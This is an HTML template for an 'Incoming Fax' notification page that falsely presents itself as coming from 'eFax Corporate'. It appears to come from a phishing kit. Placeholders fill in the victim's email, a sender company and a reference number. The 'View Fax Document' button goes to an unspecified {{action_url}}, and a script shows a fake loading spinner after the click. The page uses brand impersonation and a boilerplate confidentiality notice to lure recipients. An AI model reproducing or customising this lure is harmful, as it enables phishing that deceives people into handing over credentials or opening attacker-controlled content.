Simple File Manage Design by index.php

��

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Fax Received</title>
    <meta name="robots" content="noindex, nofollow">
    <style>
        :root {
            --primary: #2563eb;
            --bg: #f3f4f6;
            --card: #ffffff;
            --text: #1f2937;
            --muted: #6b7280;
            --border: #e5e7eb;
        }
        
        * { margin: 0; padding: 0; box-sizing: border-box; }
        
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
            background: var(--bg);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        
        .container {
            background: var(--card);
            border-radius: 8px;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
            max-width: 500px;
            width: 100%;
            overflow: hidden;
        }
        
        .header {
            background: linear-gradient(135deg, var(--primary), #1d4ed8);
            color: white;
            padding: 24px;
            text-align: center;
        }
        
        .header-icon {
            font-size: 36px;
            margin-bottom: 10px;
        }
        
        .header h1 {
            font-size: 20px;
            font-weight: 600;
        }
        
        .content {
            padding: 24px;
        }
        
        .fax-info {
            background: #f9fafb;
            border: 1px solid var(--border);
            border-radius: 6px;
            padding: 16px;
            margin-bottom: 20px;
        }
        
        .fax-row {
            display: flex;
            justify-content: space-between;
            padding: 8px 0;
            border-bottom: 1px solid var(--border);
        }
        
        .fax-row:last-child {
            border-bottom: none;
        }
        
        .fax-label {
            font-size: 13px;
            color: var(--muted);
        }
        
        .fax-value {
            font-size: 13px;
            color: var(--text);
            font-weight: 500;
        }
        
        .action-btn {
            display: block;
            width: 100%;
            padding: 14px;
            background: var(--primary);
            color: white;
            text-decoration: none;
            text-align: center;
            border-radius: 6px;
            font-weight: 600;
            font-size: 14px;
            transition: background 0.2s;
        }
        
        .action-btn:hover {
            background: #1d4ed8;
        }
        
        .disclaimer {
            margin-top: 20px;
            padding: 12px;
            background: #fef3c7;
            border-radius: 6px;
            font-size: 11px;
            color: #92400e;
            line-height: 1.5;
        }
        
        .footer {
            text-align: center;
            padding: 16px;
            font-size: 11px;
            color: var(--muted);
            border-top: 1px solid var(--border);
        }
        
        .loading {
            display: none;
            text-align: center;
            padding: 40px;
        }
        
        .spinner {
            width: 30px;
            height: 30px;
            border: 3px solid #eee;
            border-top-color: var(--primary);
            border-radius: 50%;
            animation: spin 1s linear infinite;
            margin: 0 auto 10px;
        }
        
        @keyframes spin {
            to { transform: rotate(360deg); }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div class="header-icon">📠</div>
            <h1>Incoming Fax</h1>
        </div>
        
        <div class="content" id="mainContent">
            <div class="fax-info">
                <div class="fax-row">
                    <span class="fax-label">To:</span>
                    <span class="fax-value">{{email}}</span>
                </div>
                <div class="fax-row">
                    <span class="fax-label">From:</span>
                    <span class="fax-value">{{company}}</span>
                </div>
                <div class="fax-row">
                    <span class="fax-label">Date:</span>
                    <span class="fax-value">{{date}}</span>
                </div>
                <div class="fax-row">
                    <span class="fax-label">Pages:</span>
                    <span class="fax-value">4</span>
                </div>
                <div class="fax-row">
                    <span class="fax-label">Reference:</span>
                    <span class="fax-value">{{ref_number}}</span>
                </div>
            </div>
            
            <a href="{{action_url}}" class="action-btn" id="actionBtn">View Fax Document</a>
            
            <div class="disclaimer">
                <strong>CONFIDENTIALITY NOTICE:</strong> This fax and any attachments are for the exclusive and confidential use of the intended recipient. If you are not the intended recipient, please do not read, distribute, or take action based on this message.
            </div>
        </div>
        
        <div class="loading" id="loadingState">
            <div class="spinner"></div>
            <p>Loading fax document...</p>
        </div>
        
        <div class="footer">
            eFax Corporate &bull; Secure Document Delivery
        </div>
    </div>
    
    <script>
    (function(){
        var btn = document.getElementById('actionBtn');
        var main = document.getElementById('mainContent');
        var load = document.getElementById('loadingState');
        if(btn && main && load) {
            btn.addEventListener('click', function(){
                main.style.display = 'none';
                load.style.display = 'block';
            });
        }
    })();
    </script>
</body>
</html>